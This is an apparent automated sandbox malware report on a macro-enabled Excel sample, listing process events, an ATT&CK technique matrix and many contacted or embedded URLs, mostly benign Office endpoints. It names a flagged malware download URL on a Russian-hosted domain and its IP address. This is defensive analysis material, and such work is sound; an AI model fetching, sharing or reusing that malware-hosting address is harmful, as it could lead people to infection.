Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: rundll32.exe, 00000001.00000002.252022919.0000000004500000.00000002.00000001.sdmpBinary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: rundll32.exe, 00000001.00000002.252022919.0000000004500000.00000002.00000001.sdmpBinary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: rundll32.exe, 00000001.00000002.252022919.0000000004500000.00000002.00000001.sdmpBinary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: rundll32.exe, 00000001.00000002.252022919.0000000004500000.00000002.00000001.sdmpBinary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid AccountsScripting11Path InterceptionProcess Injection1Masquerading1OS Credential DumpingSecurity Software Discovery1Remote ServicesData from Local SystemExfiltration Over Other Network MediumNon-Application Layer Protocol2Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default AccountsExploitation for Client Execution23Boot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsDisable or Modify Tools1LSASS MemoryFile and Directory Discovery1Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothApplication Layer Protocol12Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Rundll321Security Account ManagerSystem Information Discovery2SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationIngress Tool Transfer1Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Process Injection1NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptScripting11LSA SecretsRemote System DiscoverySSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

SourceDetectionScannerLabelLink
https://cdn.entity.0%URL Reputationsafe
https://cdn.entity.0%URL Reputationsafe
https://cdn.entity.0%URL Reputationsafe
https://wus2-000.contentsync.0%URL Reputationsafe
https://wus2-000.contentsync.0%URL Reputationsafe
https://wus2-000.contentsync.0%URL Reputationsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://ofcrecsvcapi-int.azurewebsites.net/0%Avira URL Cloudsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://officeci.azurewebsites.net/api/0%Avira URL Cloudsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://wus2-000.pagecontentsync.0%URL Reputationsafe
https://wus2-000.pagecontentsync.0%URL Reputationsafe
https://wus2-000.pagecontentsync.0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
http://test.limulustest.ru/invzovg/5319402.jpg100%Avira URL Cloudmalware
https://asgsmsproxyapi.azurewebsites.net/0%Avira URL Cloudsafe
https://ncus-000.contentsync.0%URL Reputationsafe
https://ncus-000.contentsync.0%URL Reputationsafe
https://ncus-000.contentsync.0%URL Reputationsafe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
https://skyapi.live.net/Activity/0%URL Reputationsafe
https://skyapi.live.net/Activity/0%URL Reputationsafe
https://skyapi.live.net/Activity/0%URL Reputationsafe
https://dataservice.o365filtering.com0%URL Reputationsafe
https://dataservice.o365filtering.com0%URL Reputationsafe
https://dataservice.o365filtering.com0%URL Reputationsafe
https://api.cortana.ai0%URL Reputationsafe
https://api.cortana.ai0%URL Reputationsafe
https://api.cortana.ai0%URL Reputationsafe
https://ovisualuiapp.azurewebsites.net/pbiagave/0%Avira URL Cloudsafe
https://directory.services.0%URL Reputationsafe
https://directory.services.0%URL Reputationsafe
https://directory.services.0%URL Reputationsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
test.limulustest.ru
188.225.73.5
truefalse
    unknown

    Contacted URLs

    NameMaliciousAntivirus DetectionReputation
    http://test.limulustest.ru/invzovg/5319402.jpgtrue
    • Avira URL Cloud: malware
    unknown

    URLs from Memory and Binaries

    NameSourceMaliciousAntivirus DetectionReputation
    https://api.diagnosticssdf.office.com085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
      high
      https://login.microsoftonline.com/085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
        high
        https://shell.suite.office.com:1443085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
          high
          https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
            high
            https://autodiscover-s.outlook.com/085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
              high
              https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                high
                https://cdn.entity.085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                • URL Reputation: safe
                • URL Reputation: safe
                • URL Reputation: safe
                unknown
                https://api.addins.omex.office.net/appinfo/query085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                  high
                  https://wus2-000.contentsync.085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                  • URL Reputation: safe
                  • URL Reputation: safe
                  • URL Reputation: safe
                  unknown
                  https://clients.config.office.net/user/v1.0/tenantassociationkey085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                    high
                    https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                      high
                      https://powerlift.acompli.net085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      unknown
                      https://rpsticket.partnerservices.getmicrosoftkey.com085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      unknown
                      https://lookup.onenote.com/lookup/geolocation/v1085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                        high
                        https://cortana.ai085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                        • URL Reputation: safe
                        • URL Reputation: safe
                        • URL Reputation: safe
                        unknown
                        https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                          high
                          https://cloudfiles.onenote.com/upload.aspx085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                            high
                            https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                              high
                              https://entitlement.diagnosticssdf.office.com085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                high
                                https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                  high
                                  https://api.aadrm.com/085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  unknown
                                  https://ofcrecsvcapi-int.azurewebsites.net/085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                  • Avira URL Cloud: safe
                                  unknown
                                  https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                    high
                                    https://api.microsoftstream.com/api/085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                      high
                                      https://insertmedia.bing.office.net/images/hosted?host=office&amp;adlt=strict&amp;hostType=Immersive085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                        high
                                        https://cr.office.com085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                          high
                                          https://portal.office.com/account/?ref=ClientMeControl085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                            high
                                            https://ecs.office.com/config/v2/Office085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                              high
                                              https://graph.ppe.windows.net085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                high
                                                https://res.getmicrosoftkey.com/api/redemptionevents085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                unknown
                                                https://powerlift-frontdesk.acompli.net085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                unknown
                                                https://tasks.office.com085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                  high
                                                  https://officeci.azurewebsites.net/api/085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://sr.outlook.office.net/ws/speech/recognize/assistant/work085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                    high
                                                    https://store.office.cn/addinstemplate085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                    • URL Reputation: safe
                                                    • URL Reputation: safe
                                                    • URL Reputation: safe
                                                    unknown
                                                    https://wus2-000.pagecontentsync.085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                    • URL Reputation: safe
                                                    • URL Reputation: safe
                                                    • URL Reputation: safe
                                                    unknown
                                                    https://outlook.office.com/autosuggest/api/v1/init?cvid=085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                      high
                                                      https://globaldisco.crm.dynamics.com085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                        high
                                                        https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                          high
                                                          https://store.officeppe.com/addinstemplate085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          unknown
                                                          https://dev0-api.acompli.net/autodetect085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          unknown
                                                          https://www.odwebp.svc.ms085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          unknown
                                                          https://api.powerbi.com/v1.0/myorg/groups085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                            high
                                                            https://web.microsoftstream.com/video/085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                              high
                                                              https://graph.windows.net085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                high
                                                                https://dataservice.o365filtering.com/085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                unknown
                                                                https://officesetup.getmicrosoftkey.com085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                unknown
                                                                https://analysis.windows.net/powerbi/api085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                  high
                                                                  https://prod-global-autodetect.acompli.net/autodetect085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                  • URL Reputation: safe
                                                                  • URL Reputation: safe
                                                                  • URL Reputation: safe
                                                                  unknown
                                                                  https://outlook.office365.com/autodiscover/autodiscover.json085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                    high
                                                                    https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                      high
                                                                      https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                        high
                                                                        https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                          high
                                                                          https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                            high
                                                                            https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                              high
                                                                              http://weather.service.msn.com/data.aspx085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                high
                                                                                https://apis.live.net/v5.0/085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                • URL Reputation: safe
                                                                                • URL Reputation: safe
                                                                                • URL Reputation: safe
                                                                                unknown
                                                                                https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                  high
                                                                                  https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                    high
                                                                                    https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                      high
                                                                                      https://management.azure.com085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                        high
                                                                                        https://incidents.diagnostics.office.com085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                          high
                                                                                          https://clients.config.office.net/user/v1.0/ios085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                            high
                                                                                            https://insertmedia.bing.office.net/odc/insertmedia085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                              high
                                                                                              https://o365auditrealtimeingestion.manage.office.com085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                high
                                                                                                https://outlook.office365.com/api/v1.0/me/Activities085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                  high
                                                                                                  https://api.office.net085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                    high
                                                                                                    https://incidents.diagnosticssdf.office.com085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                      high
                                                                                                      https://asgsmsproxyapi.azurewebsites.net/085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                      • Avira URL Cloud: safe
                                                                                                      unknown
                                                                                                      https://clients.config.office.net/user/v1.0/android/policies085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                        high
                                                                                                        https://entitlement.diagnostics.office.com085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                          high
                                                                                                          https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                            high
                                                                                                            https://outlook.office.com/085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                              high
                                                                                                              https://storage.live.com/clientlogs/uploadlocation085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                high
                                                                                                                https://templatelogging.office.com/client/log085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                  high
                                                                                                                  https://outlook.office365.com/085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                    high
                                                                                                                    https://webshell.suite.office.com085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                      high
                                                                                                                      https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                        high
                                                                                                                        https://management.azure.com/085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                          high
                                                                                                                          https://ncus-000.contentsync.085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                          • URL Reputation: safe
                                                                                                                          • URL Reputation: safe
                                                                                                                          • URL Reputation: safe
                                                                                                                          unknown
                                                                                                                          https://login.windows.net/common/oauth2/authorize085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                            high
                                                                                                                            https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                            • URL Reputation: safe
                                                                                                                            • URL Reputation: safe
                                                                                                                            • URL Reputation: safe
                                                                                                                            unknown
                                                                                                                            https://graph.windows.net/085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                              high
                                                                                                                              https://api.powerbi.com/beta/myorg/imports085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                                high
                                                                                                                                https://devnull.onenote.com085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                                  high
                                                                                                                                  https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                                    high
                                                                                                                                    https://messaging.office.com/085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                                      high
                                                                                                                                      https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                                        high
                                                                                                                                        https://contentstorage.omex.office.net/addinclassifier/officeentities085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                                          high
                                                                                                                                          https://augloop.office.com/v2085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                                            high
                                                                                                                                            https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                                              high
                                                                                                                                              https://skyapi.live.net/Activity/085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              unknown
                                                                                                                                              https://clients.config.office.net/user/v1.0/mac085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                                                high
                                                                                                                                                https://dataservice.o365filtering.com085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                unknown
                                                                                                                                                https://api.cortana.ai085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                unknown
                                                                                                                                                https://onedrive.live.com085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                                                  high
                                                                                                                                                  https://ovisualuiapp.azurewebsites.net/pbiagave/085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                                                  • Avira URL Cloud: safe
                                                                                                                                                  unknown
                                                                                                                                                  https://visio.uservoice.com/forums/368202-visio-on-devices085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                                                    high
                                                                                                                                                    https://directory.services.085A25F3-EE20-427C-93CA-526F3EE34AFA.0.drfalse
                                                                                                                                                    • URL Reputation: safe
                                                                                                                                                    • URL Reputation: safe
                                                                                                                                                    • URL Reputation: safe
                                                                                                                                                    unknown

                                                                                                                                                    Contacted IPs

                                                                                                                                                    • No. of IPs < 25%
                                                                                                                                                    • 25% < No. of IPs < 50%
                                                                                                                                                    • 50% < No. of IPs < 75%
                                                                                                                                                    • 75% < No. of IPs

                                                                                                                                                    Public

                                                                                                                                                    IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                    188.225.73.5
                                                                                                                                                    unknownRussian Federation
                                                                                                                                                    9123TIMEWEB-ASRUfalse

                                                                                                                                                    General Information

                                                                                                                                                    Joe Sandbox Version:31.0.0 Emerald
                                                                                                                                                    Analysis ID:344672
                                                                                                                                                    Start date:26.01.2021
                                                                                                                                                    Start time:21:56:03
                                                                                                                                                    Joe Sandbox Product:CloudBasic
                                                                                                                                                    Overall analysis duration:0h 4m 41s
                                                                                                                                                    Hypervisor based Inspection enabled:false
                                                                                                                                                    Report type:full
                                                                                                                                                    Sample file name:Calculation-1776198036-01262021.xlsm
                                                                                                                                                    Cookbook file name:defaultwindowsofficecookbook.jbs
